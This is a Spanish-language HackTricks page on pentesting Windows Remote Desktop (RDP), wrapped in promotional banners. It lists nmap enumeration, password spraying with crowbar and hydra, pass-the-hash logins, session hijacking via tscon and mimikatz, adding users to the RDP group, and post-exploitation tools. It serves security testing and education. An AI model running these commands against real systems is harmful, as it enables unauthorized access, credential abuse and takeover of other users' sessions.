9.8 KiB
3389 - Pentesting RDP
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Información Básica
Desarrollado por Microsoft, el Protocolo de Escritorio Remoto (RDP) está diseñado para permitir una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer dicha conexión, el usuario utiliza software cliente de RDP, y simultáneamente, se requiere que la computadora remota opere software servidor de RDP. Esta configuración permite el control y acceso sin problemas del entorno de escritorio de una computadora remota, esencialmente llevando su interfaz al dispositivo local del usuario.
Puerto predeterminado: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeración
Automática
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Se verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y se obtiene información de Windows NTLM (versiones).
Fuerza bruta
Ten cuidado, podrías bloquear cuentas
Rociado de contraseñas
Ten cuidado, podrías bloquear cuentas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar con credenciales/hash conocidos
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificar credenciales conocidas contra servicios de RDP
rdp_check.py de Impacket te permite verificar si algunas credenciales son válidas para un servicio de RDP:
rdp_check <domain>/<name>:<password>@<IP>
Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Ataques
Robo de sesión
Con permisos de SISTEMA puedes acceder a cualquier sesión RDP abierta por cualquier usuario sin necesidad de conocer la contraseña del propietario.
Obtener sesiones abiertas:
query user
Acceso a la sesión seleccionada
tscon <ID> /dest:<SESSIONNAME>
Ahora estarás dentro de la sesión RDP seleccionada y tendrás que hacer impersonación de un usuario utilizando solo herramientas y funciones de Windows.
Importante: Al acceder a sesiones RDP activas, se cerrará la sesión del usuario que la estaba utilizando.
Puedes obtener contraseñas del proceso haciéndole dumping, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)
Mimikatz
También puedes usar mimikatz para hacer esto:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando esta técnica con stickykeys o utilman podrás acceder a un CMD administrativo y a cualquier sesión de RDP en cualquier momento
Puedes buscar RDPs que ya hayan sido comprometidos con una de estas técnicas en: https://github.com/linuz/Sticky-Keys-Slayer
Inyección de Procesos RDP
Si alguien de un dominio diferente o con mejores privilegios inicia sesión a través de RDP en la PC donde eres Administrador, puedes inyectar tu beacon en su proceso de sesión de RDP y actuar como él:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Agregar Usuario al Grupo de RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Herramientas Automáticas
AutoRDPwn es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en computadoras con Microsoft Windows. Esta vulnerabilidad (enumerada como una característica por Microsoft) permite a un atacante remoto ver el escritorio de su víctima sin su consentimiento, e incluso controlarlo a voluntad, utilizando herramientas nativas del propio sistema operativo.
- EvilRDP
- Controlar el ratón y el teclado de forma automatizada desde la línea de comandos
- Controlar el portapapeles de forma automatizada desde la línea de comandos
- Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
- Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
- Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.